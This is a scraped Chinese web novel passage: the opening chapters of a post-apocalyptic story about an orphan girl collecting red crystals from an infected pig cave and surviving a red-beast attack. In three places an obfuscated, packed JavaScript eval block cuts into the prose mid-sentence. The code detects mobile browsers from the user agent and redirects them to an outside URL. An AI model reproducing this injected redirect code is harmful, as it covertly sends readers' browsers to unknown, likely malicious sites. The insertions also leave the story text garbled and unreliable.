《末世道爷偷酒喝》 1. 养不起猪 雨水顺着向下斜的木条从缝隙中滑下来,只剩一小滴缀在尖叫上。 “滴答——” 水滴脆脆地落在泛黄的耳廓里,声音之大,将路名震醒了。她半眯着眼睛,先揉了揉饿了一夜还有些酸疼的肚子,从床尾拽来外套,抹黑穿好衣服,套上有些小的鞋,拉开门。 风“呼啦”一声灌进来,推着门板往墙上摔,触到长满杂草的墙壁,路名下意识用力拉上门,把自己关在门外。 远处传来四声钟响,凌晨四点。 路上有几个人扛着锄头,弯着腰,一步一步,直奔亮灯的地方——猪圈。灯很亮,他们的影子被拉得又瘦又长;白光刺眼,路名拾起屋后杂草堆里的锄头,拖在身后跟着大部队,边走边适应光和风辣眼睛的痛感。 冷风扯着她脸上的伤口,拉扯着唯一一件外套,恨不得一脚将这破衣服的主人揣在地上。 啧。 路名不爽地扣紧衣服,裹紧些,心里烦得真想一把火把自己烧光。 “咳。”黑黝苍老的男人轻咳一声,宽大的手按在路名的肩膀上,定住摇摇晃晃的身体。路名回头,对上他眯起的眼睛,感受到一股肃杀的气息,汗毛直立。 “小心点。” “谢谢叔。”路名理了理被吹下来的面罩,低声道谢。 听说黎叔以前是猎人,身体坏了才退下来,和婆娘到这山坳坳里当个普通的养殖散户。这里的人都喊老婆是婆娘。 看黎叔大步向前的样子,路名难以想象他身体好得是什么样的情景。前面六个人都在顶风慢慢走,只有黎叔越走越快,追上第二个人,随即进入扎营地——一个浅浅的洞穴,里面是养猪的猪圈。 前几天,路名还为了“碎银几两”割猪草讨生活,谁承想,这两天又来这地方收拾和家畜变异伴生的赤晶换钱吃饭。 洞穴旁有一个直径约五米的半月形光幕,蓝白相间,白光点点在其中流转——“门锁”。赤晶蕴含极高的能量,能破坏通讯和器官,污染土地,形成酸雨、浓雾,只有这种特制的门能将它对周围环境的影响降到最低。 路名紧赶慢赶赶过去,一股软软的热气扑面而来。 适应了那道刺眼的白光,撩开门帘,里面是暖黄的灯光,有一瞬间,她视线模糊,头晕目眩,得缓一缓才能适应。 屋里八个人,加上她,正好凑齐这小村落的九户人家。 一阵呼喝声后,这帮人分完任务,呼啦散开,拿上工具直奔隔壁的“门”。 “我的任务是什么?”路名走进去,问分配任务的人。 陆张,这人工牌上的名字。 陆张背光抬头,轮廓被光影打磨得很好,哪怕在这里逗留小半个月,他的气质还是和山里的人格格不入——他太从容了。 无论是路名,还是刚刚一哄而散的人,都是有了上顿没下顿,过着朝不保夕的生活,而这人隶属工会,依傍猎人生活,只要完成任务,他吃喝不愁,基础生活有一定的保障。这也是路名前不久的生活。 在师兄的关照下,她混个编制,两眼一睁就到这穷山恶水的破地方! “我们今天收尾,你回去吧。”陆张懒懒地抬头看一眼,很快低下头,继续翻看桌上那本杂志,正中央横着一行大字“支飞羽猎人正式加入红月工会”。 他是齐鲁工会的人——工牌左上角刻有一把剑和一卷书。 路名扫了一眼,没动:“我可以帮忙扫尾,总会有些红石遗落在角落里。” 简而言之,她可以捡漏/扫垃圾。 “他们深入最里面,把那只死猪带过的地方清扫一遍就行。红兽死了,血液仍具有污染性。你年纪太小,容易被感染。”陆张头也不抬,语气有些不耐烦。 按照工会的规矩,未满十六岁的孩子都不能擅自离开学校,更别提在这连续工作四天。要不是听那几个大汉说,这孩子无依无靠,能在这鸟不拉屎的地方讨生活活到现在一点都不容易,可怜她这骨瘦嶙峋的样子,他才不会心软答应。 陆张在心里吹一波人美心善的自己,再看支飞羽,顿时顺眼多了。 “那我在外面溜一圈,保证不进去,如果什么都没有我就回来。”陆张抬头,脸上少几分不耐烦,多几分厌恶,路名全当没看见,继续为自己争取,“我听黎叔说他以前当猎人,不仅有开采队挖赤晶,有运输队向外运输,还有人专门留下来扫尾。我可以进去扫尾,不去深处,不会感染。” “就一个养殖大户的猪圈,还用不上两队人。” 陆张转念一想,确实得有个人做扫尾工作,好歹是他第一次出外勤,报告上写得确切些更好。他刚准备为自己找个台阶下,路名随手扯出一个被风吹开的口,大大小小的洞跟半张开的渔网似的挂在身上,让人看一眼心里跟着凉凉的。 “我把昨天挣得钱都换吃的了,今天来,衣服破了。” 陆张:“……” 他心一软,松口答应,将带有特殊芯片的齐鲁工会工牌递给路名,工牌上刻有三个字:临时工。 陆张有个外甥女和路名年纪差不多,家里供着在学校读书,用不着吃这些苦,前两次看这孩子哼哧哼哧抱着几颗赤晶跑出来,他都忍不住心软,大概是年纪大了,心疼这孩子无依无靠。 无依无靠的路名并不知道自己被心疼了,不然肯定原地坐下,一哭二闹三上吊,撒泼打滚先要一顿饱饭再说。 其实,“路名”孤苦伶仃长到现在,在八家叔叔婶婶搭把手的帮助下,还算小有储蓄。 只是,刚穿越来的时候,她一时没办法适应这种粗糙困苦的生活和接受截然不同的世界,日夜难安,食难下咽,照样每天三顿,顿顿不少,三天后,家里的存粮见空,她意识到自己或许在出现回去的机会前会先饿死在这。痛定思痛后,她开始节衣缩食,一天只吃一顿。 上次填肚子还是昨天收工的时候,她现在正饿得慌。 “嗡~”工牌贴在“门锁”上发出一道颤音,很快,“门锁”的光幕自下而上拉上去,一个堪比足球场的山洞映入眼帘。 路名皱了皱眉头,拉紧脸上的面罩,握紧锄头往里走。这具身体的五感非常敏锐,空气中似有若无的腐臭味和血腥味扑面而来,硬生生压住上涨的食欲;耳边传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635335|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来苍蝇的嗡鸣,那些烦人的小东西正在角落瓜分红兽的碎肉。 红兽是被赤晶感染的生物的统称。 这个洞穴是河对岸一户姓孔的养殖大户的猪圈,上个月月底刚下了十二个小猪仔,听说这十二只小猪仔格外粘母猪,不亲人,把母猪累够呛,进而食欲大增,那位养殖大户不得不花钱买人割河对岸的猪草送过来。 路名不仅割草喂猪,还敢和那位大户家里的工人一起进猪圈,吆喝小猪,帮累倒的母猪扶到食槽边干饭,顺利获得提供猪草的最佳位置。 “这猪仔怪的呢,你看,她一点反应都没有。”那位瘦长脸、一身藏青色工作服的工人边抱起小猪仔边说。 路名抱起另一只贴在石壁上挠痒痒的小猪仔,小心翼翼绕到工人身后,将小猪仔轻轻放到猪圈外准备好的筐子里。整个过程说长不长,说短不短,母猪只瞪大眼睛看他们,毫无起身的欲望,更别提攻击陌生人。 倒是母猪背后的裂缝,从头顶开裂,顺着山洞弯弯曲曲张开,比母猪瘆人多了。 “是挺怪的。” 路名养过小猪,小猪长大下崽,虽然只有三只,但格外护短,见人就撞,一撞一个准。那段时间,他们师兄弟几个和母猪进医院都能闭眼入。后来,师兄们干脆绕开她的小院走。 想到师兄们,路名心里涌起淡淡的难过,她现在连安全都是问题,吃饭更是困难。 “那个裂缝怎么那么大?” “猪拱的。怀崽子那段时间这母猪忒不安生,养殖场关不住,就送这儿来了。还好送来了,连石头都顶不住她造。”工人“呸”一口唾沫,粗糙的手拍了拍母猪的脑袋,顺毛摸了摸。 路名轻轻碰裂缝,表面的碎屑就零零散散掉下来。 一只家养猪能把石头撞成这样? “别看了,过来搭把手,这畜生真是一天一个重量,早晚得要三个人来。”工人一边抱怨,一边把手伸到母猪身侧,等路名伸手过来,他“嘿哟”一声,用力将母猪抬起来,自己差点儿向后摔倒。 路名稳住母猪的大肚子,推着步履蹒跚的母猪直奔食槽。就算是躺着,今天这头猪也得躺在食槽上! “你出来吧,我把这些小祖宗放进去。”工人站在猪圈外,弯腰将猪仔一个一个扔进去。小猪仔们一落地就直奔母猪,欢快地干饭。 “不等母猪吃完吗?”路名问他。 照这样下去,母猪过不了多久肯定又倒下了,毕竟,有十二个孩子在“使出吃奶的劲儿”。 “我哪有功夫等在这,鸡鸭鹅、猪羊兔,这些畜生一天三顿,顿顿不少,我陪在这耗时间,早晚比她先累死。”工人从架子上抽出毛巾擦了擦汗,又从铁盒子里抽出一张纸条递给路名,颇有些恨铁不成钢地说:“拿了赶紧走,还赖在这给人家打白工,也不看看你这身板,哪是外面那些男人能比的!” 工人哼哧哼哧喘气,咳了一大口痰。他猛地把痰吐到地上,抬脚出去。 路名展开折两折的条子,这东西约等于积分,可以去孔大户家换吃的。条子上用繁体字工工整整写了四个大字:猪草十斤。 2. 感染 路名抡起锄头砸在墙角,“咣当”一声,石缝裂开,一群大小不一的老鼠逃窜出来,留下一地猩红的脚印。 果然,这是红兽的血。 路名脱下外套,山洞的冷气流立即贴上来,她抱着胳膊上下摩擦两圈,生出一点热气,便不再耽搁,将线织的外套团成球,捏在手里探进石峰,一点一点用力往外擦。 石质粗粝,在细碎的声音里,路名探到一块软软的地方,她用力按紧红兽肉边缘,硬是将它拖出来。 这是一块巴掌大的红兽肉,肉中间足有一个鸡蛋大小。 路名再将外套分成两股套在手上,隔着粗大的线团摁住红兽肉中心,慢慢摸到一块硬硬的疙瘩——赤晶。她大拇指食指同时用力,一层一层将红兽肉撕开,露出里面鸽子蛋大小的赤晶。 红兽已死,它身体里血管茂密的地方会自发板结硬化,随着时间的流逝生出新的赤晶。 这种赤晶品质较次,卖不了大价钱,但对于路名来说,非常珍贵。 收好温热的赤晶,路名提起木架上的外套,继续往前走。从洞口到母猪的猪圈足有十米距离,中间有一个拐弯口,足够她好好巡逻一遍。 听说,母猪被感染后身体膨胀数倍,在相对狭小的洞口行动不便,跑起来都很困难,这才为巡逻站的猎人赶到这里争取时间。猎人猎杀红兽,孔大户派人搭建木架,维持山洞的稳定性。 “小路,你怎么过来了?”佩大爷走在前面,刚过转弯口就看见路名抻着脖子向上看,“上面有什么?” 苍老的声音轻松盖过窸窸窣窣的啃咬声。 路名将带血的外套往身后藏了藏,“没什么,就是看洞不小,不知道那只红兽得有多大。” “那可大了。”佩大爷肩扛麻袋,用锄头在地上画出一个轮廓,再加上几笔,绘声绘色地说:“当时那些猎人都进不来,只能将那畜生堵在这弯口。他们力气大得嘞,直接用一把长刀将畜生的头割下来。就算头没了,红兽就是红兽,四个蹄子还在往前跑,速度快的嘞,差点把猎人拱出去,还好他们的队长到了,用喷火的长筒堵在门口,再进去剁了它!” 跟在后面的昌叔冷冷道:“哪有这么夸张。能拦住红兽的火,人怎么过得去?” 佩大爷急了,手一撂,沉甸甸的麻袋摔在地上,指着昌叔:“小刘,你才出来几年,知道什么!那可是猎人,怎么过不去!那把刀,少说几百斤,不还是在猎人手里当菜到用!” “那是他们命好,生在城里。小路这个年纪,要是有这命,也该去读学校,而不是在这。”昌叔一如既往,三两句就把佩大爷气得脸红脖子粗。 他转身走向神情有些怪异的路名,从袋里掏出几块稍小一点的赤晶递过去,“拿着,别又饿晕了。” “谢谢叔。”路名单手搂住赤晶,一共五块。 小的和鸽子蛋差不多,两块,大的有鸡蛋大小,三块。这一手足够她暂缓燃眉之急,可以把伙食改成一天两顿。 “你都给小路了,拿什么回家,回去你婆娘又得骂你。”佩大爷追在后面又叫又骂,经过路名的时候,从麻袋里掏出一个鸭蛋大的赤晶放在路名怀里。 “谢谢。” 紧随其后的五个人也都或多或少从自己的麻袋里分出一点赤晶给她。 她的怀里立即多了一个热热的小山。 路名正愁怎么将这些赤晶抱回去,一双黑鞋映入眼帘,紧接着,粗糙的大手捏着一块大赤晶伸过来,顺手帮她整理大小不一、东倒西歪的赤晶。 是黎叔。 仿佛预判了她的行动,在她说谢谢前,黎叔问:“你的另一只手呢?” 路名沉默。 她还记得第一次进来,手上不小心沾上红兽的血,把一群人吓得够呛,要是被黎叔知道她用外套掏红兽肉渣,十有八九会被骂得很惨。 “你藏得了吗?”黎叔叹口气,“红兽的血有一股恶心的腥味,你站在通风口,我们怎么可能闻不出来?你是我们这唯一一个孩子,只要我们没死,你就没那么容易饿死。下次,离红兽远点。” “黎叔,我想攒钱,去学校读书。”从听到学校起,路名就忍不住胆颤心惊。无他,上辈子读书太多,有点恶心。 在这里,读书本就不容易,能不能读更是人生的分水岭。陆张的活儿她也能做,她不是“路名”,她要知识有知识,要能力可以学。就因为一份文凭,她得在这山坳坳里过这种有了上顿没下顿的日子。这让她怎么甘心! “你听昌珉说的?”黎叔抿紧唇,凌厉的黑脸上多出几分犹豫。 想了想,他还是劝小路放弃读书的念头,“上那些学校没用,净烧钱,等再过几年,叔带你去巡逻站找个工作。” 上学校怎么没用?黎叔和昌叔都是从第一线退下来的,以前都生活在城里,怎么会不知道学校的好?路名猜测是上学有门槛,黎叔觉得她短期内无望准备,长期图谋的话,年纪也耗不起。 以前听说农村户口、城市户口、学区房这些东西,不知道这个世界的学校有什么门槛,她搏一搏能不能进? 路名正为十二年寒窗苦读到头来只剩竹篮打水一场空扼腕叹息,突然闻到一股奇怪的味道,酸臭的、似乎是腐烂的味道。这味道像开闸的洪水,冲开山洞里残留的红兽肉的腥臭味,奔涌而来。 “黎叔,你有闻到什么奇怪的味道吗?” 黎叔用力吸一口气:“没有。” 不对,路名确实闻到这股越发浓烈的味道,她急忙问:“红兽肉除了腥臭味,还有酸味吗?腐烂味有吗?” “这不是红兽肉,动物被感染的时候……” 刹那间,路名感觉木架碎裂和石壁张开都凑到耳边,其中似乎夹杂些“咯滋咯滋”的轻响,像地狱猎犬磨牙的声音。她瞪大眼睛抬头望向声音的来源。下一秒,胳膊被人用力攥住,整个人随之扑到地上,粉尘从身后袭来,塞满鼻孔,糊住眼睛,只剩下听见重物落地的轰鸣和木条掉落的哐当声一遍遍在脑海里回荡。 “黎叔!” 黎叔一只手将锄头横在胸前,一只手拦住想冲上前仔细看的路名,努力护住两人。 路名可以清晰地看到,黎叔的腮帮子在抖。 而在锄头面前的是一坨正在逐渐膨胀的红肉,很快,这坨肉长到两米高,拖着一节长长的尾巴,尾巴粗壮,不断卷曲甩动,在地上拍出阵阵粉尘。它生长的速度肉眼可见的快,就快要顶到山洞顶部。 路名想起佩大爷的话,长刀割头,浴火剁肉,这才有几分实感——她还是难以相信人类竟然能一刀割下这种怪物的头。 猎人,这种生物还能算是人类吗? 路名靠近黎叔,隐约听见他在读秒:“……309……345……389……” * 六分钟前,扎营地。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635336|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆张正在核算每人麻袋里的赤晶数量,辨认质量,然后录入系统,以便发放工资。 突然,满屏红光,警报声乍起。 “怎么回事?” “这是什么警报?” 昌叔面色极差,一言不发。 “是这附近有红兽吗?快点算,算完我得走了。”佩大爷大声叫喊,目光瞟向唯一的出口。 红兽? 这里竟然有红兽! 另外五人立即嚷嚷得更加大声。 陆张慌忙点开半山腰安扎的监测仪,一看监测数据,最高值已经达到93,还在持续飙升,他顿时心都凉了半截。一旦污染指数超过120,不管污染源在哪,哪只动物被感染了,他们这些人一个都跑不了,都有被感染的风险,都得被抓回去一遍遍涮洗、盘问,做各种实验证明自己没有传染风险。 他曾站在实验室外瞄一眼,那些人神色苍白,身上的抽血管、针剂标签极多,颜色丰富,多看一眼都觉得心慌胆战。 “闭嘴!”他一掌拍在桌上,桌子震响,掌心生疼,疼得想哭。 耳边清静了。 那些人不再叫喊,几秒的功夫,跑了两个。 陆张满头是汗,手腕都在抖,边抖边输入快捷指令,迅速向周围的巡逻站求援。 排除猎人正在巡逻的可能,最近的巡逻站到这里要二十五分钟。他必须熬过这二十五分钟,死死坚守在这,等猎人过来了解情况,他才算完成自己最后的任务,可以名正言顺离开,否则,即使回去,也会丢失工作;或者,他会等来先一步找到扎营地的红兽,成为红兽的食粮。 寂寞的等待催生绝望的猜想。 陆张上有老下有小,一旦他死了,他的老婆可能会带着孩子改嫁,哪怕是为了高昂的学费和补习费,他也不敢想象可爱的孩子受委屈的样子,更何况,他的双亲只能领到工会发放的救济金,寂寞地走到生命的终点…… “我继续帮你们登记。”陆张打起精神,手刚摸到赤晶,眼泪就掉下来。 那些人都跑了。 麻袋有编号,他数完次品赤晶,根据麻袋编号,将积分录入系统,投入这几个散户挂名的孔大户名下,备注所属。 全部录入后,他看了眼时间,已经过去七分钟,污染指数稳定在117。 如果真是A级红兽,这七分钟足够它长出手脚,身体基本定型,开始恢复感知。接下来,它会需要大量的血肉进食来促进生长, 直到迎来二次生长,而这时候,污染指数绝对会超过120。 陆张盯着红艳艳的屏幕,头晕目眩,出现一阵耳鸣。 他绝对不能自己吓自己,把自己吓死! 陆张撑起双腿,一步步挪到门帘,他用力撩开门帘,耳朵里突然灌进嘈杂声——是螺旋桨的声音。 附近巡逻站的猎人这么快就来了! “嘿,过来!来这边,快!”宋平跳下飞机,右手扩成喇叭状朝扎营地方向大喊。 他天生肺活量好,嗓门亮,这一喊,两边山谷都隐约传来回声;他边跑边喊,那个按下紧急救援的人绝对会注意到他,朝他跑过来…… 下一秒,其余准备跳飞机的133小队成员眼睁睁看着门帘边那人直挺挺倒下,门帘也被撕下一角。 一伙人齐齐吸气:这感染地区,竟恐怖如斯! 队长支飞羽:“……” 3. 133小队 山洞通道,阴暗,狭窄。 红兽四肢短小,爪子锐利,尾巴足有两米长。它身披红甲,毛发根根直立,如赤红晶石一般,微微反射洞外的光,稍有动作,毛发便会和石壁摩擦,刮落灰尘,一举一动都会引起山洞震荡。 “红兽堵在出口,我们,出不去。”黎叔握紧锄头,目光从地上蹦蹦跳跳的小石砾跃向通道的另一个出口——猪圈。 “小路,等会儿你先去里面,里面空间大,有机会跑出去。”他伸手推一把面无表情、似乎被吓傻的路名,急了,“傻站着等啥,快,它眼珠子转过去了,快进去!” 连推几次,路名这才回过神。 从小到大,她只在电视里看奥特曼打怪兽,第一次真实地感受怪物的破坏力。 她向前一步,努力看清所谓的红兽——山洞里粉尘漫天,石壁被刨出无数痕迹,向内凹进无数个大大小小、深浅不一的长条形坑。她躲在墙角一隅,石壁挡住大部分视线,视野有限。 “叔,去里面也不安全。”路名低声提醒。 那些细密有序的痕迹不是爪子刨的,而是红兽用自身毛发刮出来的。这不是野兽被困后的本能反应,反倒像是有计划的行动。那只老鼠在有意识地拓宽山洞空间! “叔,这只红兽……” “有红兽在,就别想安全。小路,好歹里面还有机会活下去。”黎叔低声喝道。 石壁碎裂的声音越来越大,小路嘴巴一张一合,具体说了什么,他一个字也没听清,他也不知道自己说的话小路听见几个字,他时刻担心这个位置会暴露。眼下,每一分钟都弥足珍贵。 黎叔用力推一把路名:“快进去。” 突然,巨大的炸裂声在耳边爆开,路名瞬间耳鸣,喉头舔血,仿佛见到被无数流星划过的夜幕,只是脸颊生疼生疼的。 她脑子嗡嗡的,被黎叔拽着跑。 一回头,红兽的一只爪子攀在墙壁上,深深内陷进去,几乎有三分之一个墙壁高,两只眼睛又红又亮,像灯笼,直直地看向她。 对视一眼,路名心惊胆颤,深刻理解黎叔对“红兽”这类生物的恐惧。 这怪物眼珠一转,似乎有意放他们一马,没有追过来。 猪圈里有一盏灯,嵌在石壁里。 黎叔用力拍打破损的灯罩,没几下,灯就亮了。 “你先喘口气。”他坐在支撑山洞的石墩上,背靠支撑柱,手遮眼睛,大口大口喘气。 山洞将巨大的声响折叠、拉长,送来这间只进不出的屋子,如满怀恶意的儿童,在开心的戏耍他们,而他们只能争分夺秒喘气。路名心里有点烦躁。 红兽的出现非常突然,行为举止也很怪异。 “黎叔,红兽聪明吗?”她试探着问身边唯一一位长辈,也曾是一名备受景仰的猎人。 黎叔摸一把脸,坐直身体,“怎么问这个?你想研究红兽?” 路名勉强挤出一丝笑意。说不上研究,她连了解都做不到,现在旁敲侧击的问法也只是在补充“路名”没留给她的记忆。 没等她想好说辞,黎叔抢先一步说:“别想了,研究红兽是研究院的事。那些人从小就出生在上城区,读书,考试,他们还都是用笔考试,多贵啊。不只是钱,他们还会组织去红兽巢穴,一趟就要一群人保护。一年去好几次。就这样,研究这么多年也没多少成效。研究红兽,没那么容易。” 路名大概懂了“上学”的特殊性,她捡起黎叔手边的锄头,在龟裂的墙壁上简单地写写画画,梳理思路。 这个世界和她之前生活的世界完全不同,暴雨、毒雾、红兽……这些科技无法超越、遏制的东西无时无刻不在威胁人类的生命。有限的生产力只能创造有限的资源,所以,这里的阶级固化,读书已经不是普罗大众能享有的权利。 猎人,应该是用天赋当敲门砖的职业,比如,佩大爷说的力大无穷,水火不侵。 养殖散户,是最普遍的职业,不限年龄,不限身份,但要有本金买第一个蛋,有运气孵出第一只鸭子或鸡。“路名”之前养了三只鸡,她来之后,一只清蒸,一只白烧,一只自行扭断脖子死了,拔了毛仍在墙角冻着。 读书,上流人士才有的特权。 同样是面对红兽,读书可以被人保护,猎人能够保护自己,而养殖散户,最贫穷、最软弱的一群人,只能束手就擒。如此恶性循环,人类生态的恶劣可见一斑。 画出这一道弧线连接“红兽”和“养殖散户”,路名忽然发现墙壁上的裂痕有些眼熟。 这好像是那只母猪感染前拱出来的! “我没想研究红兽。”路名很有自知之明,自己不是个读书的苗子。 “我想活下去。” 那只红兽的行为动机说不定和母猪有所联系,而这,或许是他们活着出去的契机。 “遇到红兽,非死即伤。”黎叔叹口气,拿走路名手里的锄头,“没有人遇到红兽不想活下去,问题是,怎么活?” “肯定有办法。” 路名抢过锄头,“黎叔,我不想死。” 黎叔双眼锐利如鹰,刹那间,一股肃杀之气溢出,但很快就被他收回,神色中多了几分惊讶。 对准石壁上一处再寻常不过的裂痕,路名举起锄头,用力凿下去,一下接着一下,这真把他吓了一跳,他完全看不懂小路的做法。第一下还不觉得有什么,从第二声开始,金石相碰的声音极脆,在山洞里悠然回荡,嘹亮、刺耳。山洞不再震荡,是那只红兽停止向前! 有效! “让我来。”他一把拽过锄头,力气大得吓人,脚步一挪,肩膀一撑,路名被撞歪到另一边。 路名从地上爬起来,顺手拍拍身上的灰,目光落在黑漆漆的山洞通道里,脸上没有半分欣喜之色。太安静了。她猜的没错,这道裂缝对红兽有特殊的作用,问题是,她猜不到这影响是好是坏。 原本是想着走一步看一步,慢慢来,但现在,她看不见红兽,缺少反馈,形如盲人摸象,再次陷入窘境。 叮叮当当的凿墙声此起彼伏,一记猛凿后,石块松动,露出一点红色。 这红光太艳,太亮,路名不得不用余光扫过一眼,一眼便愣住。这是赤晶,而且是赤晶中极好的一种。赤晶中蕴含极强的能量,纯度越高,感染性越强。一想到自己或许会变成外面那只怪兽的丑样子,甚至会因为人有四肢而变得与众不同的丑,她的第一个念头:还不如死了算了。 第二个念头:原来我也是要美的? 片刻不停歇,山洞剧烈震荡,大片灰尘裹挟两点赤红奔涌而来。 红兽冲过来了! 路名只来得及拉住黎叔的手臂,用全身力气拽他,一起伏倒在地上。是生是死,全看天命。 * “队长,曹廷玉那崽子的麻醉剂对这老鼠有用。” 尤维喊完这头,快速换位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635337|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置,从山崖上一处灌木丛里探出头,用力朝两米外的宋平大喊:“老宋,给队长送把折叠刀,进去削了它。” 宋平快速奔向山洞入口,抬腿从兜里掏出一个巴掌长的直尺,按住刻有黑白图的一端,解锁。他跑到山洞要十秒,找到队长要三秒,而展开这把怪装的一米折叠刀只需要五秒。四秒后,宋平跃上石壁,五指深深扣进石缝里,状如猴子捞月。他借弯曲的山洞 通道,一个甩手掷出折叠刀。 刀刃直接插在老鼠尾巴上。 “飞得不错。”支飞羽赞一声,握紧红兽背脊顶部已经卷刃、只剩刀柄在外的短刀,借重力迅速下滑。 红兽发出尖锐的嘶嚎。 远处的赤晶唤醒它的本能,驱使它无视痛楚。它四只爪子并举,直奔山洞更深处。 支飞羽轻轻一跃,握紧折叠刀的刀柄,一道白色雷光瞬间贯穿刀刃,尾巴自中间一分为二,分成两条,鲜血和恶臭一起涌出来。 慢慢往里走的宋平乍然闻到这股味道,“呕”,一手扶墙,一手捏鼻子,把路上吃的干粮吐得七七八八。一滩黄饼碎粘哒哒地躺在黑漆漆的石屑和黑土里,要多怪异有多怪异。 宋平一脚飞起黑土,把黄色埋起来。 石壁下,他冷不丁踢到一个硬疙瘩,心情更加郁闷,拿起来一看,是一块次等赤晶。 这玩意儿…… “我靠!”宋平在心里把那个提前晕倒的记录员痛骂一顿,连他祖宗十八代都得拎出来挨骂,脚下跑得飞快。谁知道齐鲁工会辖下的山洞里还有人啊!要是队长一个不留手,全都死光了,说不定会挑起两大工会翻脸。 偏偏是齐鲁工会,和他们红月工会结怨最多的一家。 “队长!”一看到红兽耸动的背影,宋平胸腔肺部一起发力,势要一次成功。 比声音更快的,是刀上的光。 宋平只觉得眼前闪过几道亮光,红兽瞬间被大卸八块,鲜血喷涌,赤晶在鲜血中浮动,像开闸的瀑布,气势汹汹冲过来。 他脑子嗡的一下,目光被一个小点吸引,脱口而出:“跑了跑了,脑袋跑了!” 支飞羽回头,硕大的鼠头果然在快速向前,速度丝毫不减。 肢体再生? 不对,速度和等级对不上。 管它是什么,拆了送给研究院的人研究。支飞羽放弃思考,一刀直出,将鼠头割开……刀锋骤停,生生扭成一个“U”型,回旋的刀锋刻进宋平旁边的石壁里。 宋平:“!” 支飞羽挑刀剥开一分为二的鼠头,露出两个血淋淋的人,问:“怎么还有两个人?” “那个记录员晕过去了。”宋平咬牙道:“这两个死了吗?死了就别上报吧,省得麻烦。齐鲁工会一向会大做文章,说不定又会编出什么乱七八糟的理由指责你,一帮乌烟瘴气的八婆!” “如果不上报,工会就不会发放抚恤金给亡者家属。”支飞羽冷冷道。 宋平安若雏鸟,唯唯诺诺地点头。 山洞的气氛降至冰点,和空气里的恶臭味有的一拼。 “没死。”支飞羽顿了一下,看宋平喜上眉梢才补充一句,“靠墙的这个伤得不轻。我的刀割断了他的小腿。” “没事没事。回头多给点钱就行。” 宋平拍拍自己的胸脯,又拍拍队长的肩,真诚地唱颂道:“队长,干得漂亮,你永远是我的偶像,崇拜你,崇拜你。” 4. 第一次进城 路名做了个梦。 梦里,她被狼外婆吃掉,尖嘴猴腮的羊围一条红领巾,救她出来,就在这时,粗糙嘹亮的歌声从旁边响起,情绪激昂,但,难听至极! 她醒了,噩梦如潮水般退去。 扎营地,昏黄的灯光照过天花板,角落里投下淡淡的方形白光。她还记得自己昏迷前是在山洞,和黎叔一起,旁边有赤晶,身后是红兽……有人救了她! 起身,余光扫到旁边那人的脸——陆张也晕了,板板正正的闭眼躺在木板上。 黎叔呢? 路名站起来,在十平米的空间四处寻找。 门帘突然被撩开,一道刺眼的白光从外面射进来,剑眉星目、国字脸的男人走进来,手里把玩一把直尺,“嘿,你醒了。” 路名紧紧盯住那把直尺的顶部——竟然有八卦图! “师兄你从哪儿来的?” “什么师兄?你别乱碰瓷啊我警告你。”宋平吓得哆嗦一下,猛地往后挪一大步,折叠刀解锁转一圈,变成三十厘米的短刀,刀锋直至对方,“我,我知道我长得玉树临风,风流倜傥,不少姑娘都喜欢我,我,对,我打架也厉害,肯定比你强,但不代表你可以叫我师兄,听见没有?” 注意到八卦图闪一下亮光,直尺变短刀,路名才惊觉这只是一个开关标识。 师兄?碰瓷?她才觉得冤枉呢! “嚷嚷什么呢?队长让你去搀扶那个人进来。哟,妹妹你醒了。”尤维吹一声口哨,按下折叠刀,“拿刀对这么励志的妹妹,羞不羞啊你。” “谁是你妹啊,你……的。”路名顿了一下,气到失语。 这一个两个的,都是怪人。 “脾气不小。” 一叠声“啧啧啧”后,尤维指了指自己:“尤维,刚刚跑了的那个叫宋平。我们是红月工会133小队的人,收到紧急救援信号立马就过来了。本来这话要跟那个家伙说,可惜,他一看见我们就晕了。喏,人还躺在这,睡得跟死猪一样。” 一听到“死猪”,路名就想呕,满脑子都是怪物的轮廓和深浅不一的赤晶。 “哦我忘了,你刚从红兽巢穴里出来,还不适应呢。都怪那个记录员没留下一点信息就晕了,我们队长杀到里面才发现还有两个人。当时就你们两个吗?还有其他人吗?”尤维一脸抱歉的样子,如果忽视她欢快的语调,路名更愿意相信她是真心的。 “不是说还有一个人吗?你怎么不问他?”路名尽力压下呕吐的冲动,冷冷道。 “那个伤太重,刚刚疼晕了。宋平去搀扶的就是他。” 刚说完,宋平一手提麻袋,另一只手搀扶黎叔,慢慢走进来。说是“搀扶”,其实是比宋平高半头的黎叔晕在宋平身上,宋平一步一挪,把人挪进室内,放在地上那张木板上。麻袋“当”一下落在地上,声音脆脆的。 这木板的材质有点眼熟。 “你们把那张桌子拆了?”路名皱紧眉头,有点惋惜。 